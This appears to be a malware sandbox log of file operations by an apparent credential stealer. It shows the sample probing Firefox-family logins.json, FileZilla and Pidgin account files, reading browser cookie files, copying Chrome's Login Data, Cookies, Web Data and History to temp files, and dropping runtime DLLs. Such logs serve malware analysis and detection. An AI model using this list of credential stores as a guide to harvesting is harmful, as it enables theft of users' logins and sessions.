Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp-wal desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp-shm desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1201202334891414616440.tmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1201364062215357258643.tmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1201837420540609814.tmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create Directory C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\ - True 1
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\nss3.dll type = file_attributes True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Mozilla\Firefox\Profiles\.\logins.json type = file_attributes False 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Mozilla\Firefox\Profiles\..\logins.json type = file_attributes False 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Mozilla\Firefox\Profiles\silmbjec.default\logins.json type = file_attributes False 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Thunderbird\Profiles\\logins.json type = file_attributes False 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Waterfox\Profiles\\logins.json type = file_attributes False 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Comodo\IceDragon\Profiles\\logins.json type = file_attributes False 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\8pecxstudios\Cyberfox\Profiles\\logins.json type = file_attributes False 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Moonchild Productions\Pale Moon\Profiles\\logins.json type = file_attributes False 1
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\11837313456926651835.tmp type = file_attributes True 1
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\11837313456926651835.tmp-journal type = file_attributes False 2
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\11837313456926651835.tmp-wal type = file_attributes False 2
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\filezilla\recentservers.xml type = file_attributes False 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\.purple\accounts.xml type = file_attributes False 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[3].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[4].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Microsoft\Windows\INetCache\\ type = file_attributes False 2
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\INetCookies\\ type = file_attributes False 2
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cookies\\ type = file_attributes False 2
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!002\MicrosoftEdge\Cookies\\ type = file_attributes False 2
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cookies\\ type = file_attributes False 2
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\119917831523496827418.tmp type = file_attributes True 1
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\119917831523496827418.tmp-journal type = file_attributes False 2
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\119917831523496827418.tmp-wal type = file_attributes False 2
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp type = file_attributes True 1
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp-journal type = file_attributes False 1
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp-wal type = file_attributes False 2
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp-shm type = file_attributes False 1
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\1201202334891414616440.tmp type = file_attributes True 1
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\1201202334891414616440.tmp-journal type = file_attributes False 2
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\1201202334891414616440.tmp-wal type = file_attributes False 2
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\1201364062215357258643.tmp type = file_attributes True 1
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\1201364062215357258643.tmp-journal type = file_attributes False 2
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\1201364062215357258643.tmp-wal type = file_attributes False 2
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\1201837420540609814.tmp type = file_attributes True 1
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\1201837420540609814.tmp-journal type = file_attributes False 2
Fn
Get Info C:\Users\5P5NRG~1\AppData\Local\Temp\1201837420540609814.tmp-wal type = file_attributes False 2
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Copy C:\Users\5P5NRG~1\AppData\Local\Temp\11837313456926651835.tmp source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Google\Chrome\User Data\Default\Login Data True 1
Fn
Copy C:\Users\5P5NRG~1\AppData\Local\Temp\119917831523496827418.tmp source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Google\Chrome\User Data\Default\Cookies True 1
Fn
Copy C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Mozilla\Firefox\Profiles\silmbjec.default\cookies.sqlite True 1
Fn
Copy C:\Users\5P5NRG~1\AppData\Local\Temp\1201202334891414616440.tmp source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Google\Chrome\User Data\Default\Web Data True 1
Fn
Copy C:\Users\5P5NRG~1\AppData\Local\Temp\1201364062215357258643.tmp source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Google\Chrome\User Data\Default\Web Data True 1
Fn
Copy C:\Users\5P5NRG~1\AppData\Local\Temp\1201837420540609814.tmp source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Google\Chrome\User Data\Default\History True 1
Fn
Read C:\Users\5P5NRG~1\AppData\Local\Temp\11837313456926651835.tmp size = 100, size_out = 100 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\11837313456926651835.tmp size = 2048, size_out = 2048 True 2
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\11837313456926651835.tmp size = 16, size_out = 16 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt size = 83, size_out = 83 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt size = 551, size_out = 551 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt size = 241, size_out = 241 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt size = 111, size_out = 111 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt size = 110, size_out = 110 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt size = 276, size_out = 276 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt size = 86, size_out = 86 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt size = 414, size_out = 414 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt size = 414, size_out = 414 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt size = 102, size_out = 102 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt size = 102, size_out = 102 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt size = 93, size_out = 93 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt size = 234, size_out = 234 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt size = 578, size_out = 578 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt size = 101, size_out = 101 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt size = 82, size_out = 82 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt size = 293, size_out = 293 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt size = 221, size_out = 221 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt size = 513, size_out = 513 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt size = 490, size_out = 490 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt size = 456, size_out = 456 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt size = 130, size_out = 130 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt size = 272, size_out = 272 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[1].txt size = 598, size_out = 598 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[3].txt size = 196, size_out = 196 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[4].txt size = 543, size_out = 543 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt size = 272, size_out = 272 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt size = 118, size_out = 118 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt size = 823, size_out = 823 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt size = 206, size_out = 206 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt size = 108, size_out = 108 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt size = 104, size_out = 104 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt size = 178, size_out = 178 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt size = 215, size_out = 215 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt size = 169, size_out = 169 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt size = 1026, size_out = 1026 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt size = 1026, size_out = 1026 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\119917831523496827418.tmp size = 100, size_out = 100 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\119917831523496827418.tmp size = 1024, size_out = 1024 True 2
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\119917831523496827418.tmp size = 16, size_out = 16 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp size = 100, size_out = 100 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1200428247797166008614.tmp size = 32768, size_out = 32768 True 3
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1201202334891414616440.tmp size = 100, size_out = 100 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1201202334891414616440.tmp size = 2048, size_out = 2048 True 5
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1201202334891414616440.tmp size = 16, size_out = 16 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1201364062215357258643.tmp size = 100, size_out = 100 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1201364062215357258643.tmp size = 2048, size_out = 2048 True 5
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1201364062215357258643.tmp size = 16, size_out = 16 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1201837420540609814.tmp size = 100, size_out = 100 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1201837420540609814.tmp size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1201837420540609814.tmp size = 16, size_out = 16 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-console-l1-1-0.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-datetime-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-debug-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-errorhandling-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l1-1-0.dll size = 21816 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l1-2-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-file-l2-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-handle-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-heap-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-interlocked-l1-1-0.dll size = 17856 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-libraryloader-l1-1-0.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-localization-l1-2-0.dll size = 20792 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-memory-l1-1-0.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-namedpipe-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processenvironment-l1-1-0.dll size = 19248 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processthreads-l1-1-0.dll size = 19392 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-processthreads-l1-1-1.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-profile-l1-1-0.dll size = 17712 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-rtlsupport-l1-1-0.dll size = 17720 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-string-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-synch-l1-1-0.dll size = 20280 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-synch-l1-2-0.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-sysinfo-l1-1-0.dll size = 19248 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-timezone-l1-1-0.dll size = 18224 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-util-l1-1-0.dll size = 18232 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-conio-l1-1-0.dll size = 19256 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-convert-l1-1-0.dll size = 22328 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-environment-l1-1-0.dll size = 18736 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-filesystem-l1-1-0.dll size = 20280 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-heap-l1-1-0.dll size = 19256 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-locale-l1-1-0.dll size = 18744 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-math-l1-1-0.dll size = 28984 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-multibyte-l1-1-0.dll size = 26424 True 1
Fn
Data
Write C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-private-l1-1-0.dll size = 73016 True 1
